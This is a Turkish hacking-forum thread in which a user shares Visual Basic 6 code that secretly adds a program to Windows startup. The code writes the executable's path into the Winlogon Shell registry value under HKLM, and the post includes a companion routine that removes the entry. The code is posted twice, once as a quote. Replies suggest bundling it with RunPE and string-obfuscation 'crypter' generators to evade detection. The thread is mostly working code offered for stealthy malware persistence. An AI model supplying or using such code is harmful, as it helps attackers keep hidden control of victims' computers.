VB6 Gizli Başlangıca Ekleme Kodu Hİde Startup Code

  • Konuyu başlatan Konuyu başlatan Harmmy
  • Başlangıç tarihi Başlangıç tarihi
Harmmy

Harmmy

Katılımcı Üye
Katılım
1 Ocak 2012
Mesajlar
691
Tepkime puanı
97
Herkese kocamaaaan selam
bu konumuzda sizlerin projelerinizi gizli olarak başlangıca eklemeye yarayan kodlamayı vereceğim.
Bunun için RegCreateKeyEx ve RegSetValueEx apisinden faydalanacağız..
Projenize yeni bir modül ekleyin ve modüle aşağıdaki kodları yapıştırın.
Kod: 
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Sub GizliStartupEkle()
Dim nKey As Long
RegCreateKeyEx LOCALMACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", nKey
RegSetValueEx nKey, "Shell", 0, REG_SZ, "Explorer.exe " & App.Path & "\" & App.EXEName & ".exe", Len("Explorer.exe " & App.Path & "\" & App.EXEName & ".exe")
End Sub

Public Sub GizliStartupSil()
Dim nKey As Long
RegCreateKeyEx LOCALMACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", nKey
RegSetValueEx nKey, "Shell", 0, REG_SZ, "Explorer.exe", Len("Explorer.exe")
End Sub

Şimdi gelelim kullanımına
Başlangıca ekleme yapmak istediğiniz yere bu bir timer olabilir, form_load veya unload eventi olabilir onu siz bilirsiniz..

Gizli olarak başlangıca eklemek istediğinizde.
Kod: 
Call GizliStartupEkle()

Gizli olarak başlangıca eklemeyi silmek istediğinizde.
Kod: 
Call GizliStartupSil()


Bir konunun daha sonuna geldik, hoşçakalın sağlıcakla kalın...
 
rrltyak.png

Gelsin mi yeni bir proje ?
 
Harmmy' Alıntı:
Herkese kocamaaaan selam
bu konumuzda sizlerin projelerinizi gizli olarak başlangıca eklemeye yarayan kodlamayı vereceğim.
Bunun için RegCreateKeyEx ve RegSetValueEx apisinden faydalanacağız..
Projenize yeni bir modül ekleyin ve modüle aşağıdaki kodları yapıştırın.
Kod: 
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Sub GizliStartupEkle()
Dim nKey As Long
RegCreateKeyEx LOCALMACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", nKey
RegSetValueEx nKey, "Shell", 0, REG_SZ, "Explorer.exe " & App.Path & "\" & App.EXEName & ".exe", Len("Explorer.exe " & App.Path & "\" & App.EXEName & ".exe")
End Sub

Public Sub GizliStartupSil()
Dim nKey As Long
RegCreateKeyEx LOCALMACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", nKey
RegSetValueEx nKey, "Shell", 0, REG_SZ, "Explorer.exe", Len("Explorer.exe")
End Sub

Şimdi gelelim kullanımına
Başlangıca ekleme yapmak istediğiniz yere bu bir timer olabilir, form_load veya unload eventi olabilir onu siz bilirsiniz..

Gizli olarak başlangıca eklemek istediğinizde.
Kod: 
Call GizliStartupEkle()

Gizli olarak başlangıca eklemeyi silmek istediğinizde.
Kod: 
Call GizliStartupSil()


Bir konunun daha sonuna geldik, hoşçakalın sağlıcakla kalın...
Genişletmek için tıkla ...
Elinize emeginize saglık
 
Harmmy' Alıntı:
VİSUAL Basic 6 ile oluşturulan projeleri şifrelemeye yarıyor. Yeni nesil ACO gibi düşünebilirsin daha güncel kodlama ve yöntemler.
Genişletmek için tıkla ...
Hocam mesela programın perspektifini geniş tutabilirsin örn. bir sayfada RunPE generator bir sayfada String generator gibi hem tek programda birleştirirsen bunları dahada soran olmaz diye düşünüyorum.
 
slowbaskan123' Alıntı:
Hocam mesela programın perspektifini geniş tutabilirsin örn. bir sayfada RunPE generator bir sayfada String generator gibi hem tek programda birleştirirsen bunları dahada soran olmaz diye düşünüyorum.
Genişletmek için tıkla ...
öyle bir arada ekmeğe hemen ulasıyorlar ecik aramayı taramayı öğrensinler internetne arastırmayı balık ağzıma düssün derler sonra paylassın bakalım
 
Cevap yazmak için giriş yap yada kayıt ol.
Geri
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.